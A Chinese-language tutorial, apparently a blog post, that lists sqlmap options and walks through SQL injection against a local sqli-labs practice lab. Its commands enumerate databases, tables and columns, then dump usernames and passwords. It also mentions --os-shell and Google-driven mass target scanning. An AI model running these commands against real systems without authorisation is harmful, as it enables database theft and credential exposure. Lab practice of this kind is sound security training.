一、sqlmap命令大全。
- -u 指定目标URL (可以是http协议也可以是https协议)
-
- -d 连接数据库
-
- --dbs 列出所有的数据库
-
- --current-db 列出当前数据库
-
- --tables 列出当前的表
-
- --columns 列出当前的列
-
- -D 选择使用哪个数据库
-
- -T 选择使用哪个表
-
- -C 选择使用哪个列
-
- --dump 获取字段中的数据
-
- --batch 自动选择yes
-
- --smart 启发式快速判断,节约浪费时间
-
- --forms 尝试使用post注入
-
- -r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-
- -l 加载文件中的HTTP请求(本地保存的请求包日志文件)
-
- -g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
-
- -o 开启所有默认性能优化
-
- --tamper 调用脚本进行注入
-
- -v 指定sqlmap的回显等级
-
- --delay 设置多久访问一次
-
- --os-shell 获取主机shell,一般不太好用,因为没权限
-
- -m 批量操作
-
- -c 指定配置文件,会按照该配置文件执行动作
-
- -data data指定的数据会当做post数据提交
-
- -timeout 设定超时时间
-
- --level 设置注入探测等级
-
- --risk 风险等级
-
- --identify-waf 检测防火墙类型
-
- --param-del="分割符" 设置参数的分割符
-
- --skip-urlencode 不进行url编码
-
- --keep-alive 设置持久连接,加快探测速度
-
- --null-connection 检索没有body响应的内容,多用于盲注
-
- --thread 最大为10 设置多线程
二、扫描流程。
实验环境
Apache2.4.39
FTP0.9.60
MySQL5.7.26
PHP 5.3.29(注意PHP版本不应过高,否则会导致sqli安装失败)
sqli
这里我扫描的是sqli第9关。
1、扫描漏洞
python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" -batch
注意url要用双引号括起来,并且要加上?id=1给它赋值。


上图红框内可以看到扫描到漏洞了,分别为布尔盲注和时间盲注。
2.扫描所有数据库 -dbs。
python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" -batch -dbs
红框内可以看到所有的数据库都被扫描出来了。
3.扫描指定数据库中的所有表名,-D可以指定要扫描的数据库,这里我扫的是security库。
- python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" -batch -D security
- -tables

上图红框内就是security库中的所有表啦。
4.扫描users中的字段名是什么,-T可以指定扫描的表。

红框内就是我们所扫描出的字段名,一共有三个,分别为id,password,username。
5.用dump扫描出字段中的所有数据。
python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" -batch -D security -T users -dump

如上图所示,我们就把我们需要的username和password找出来啦!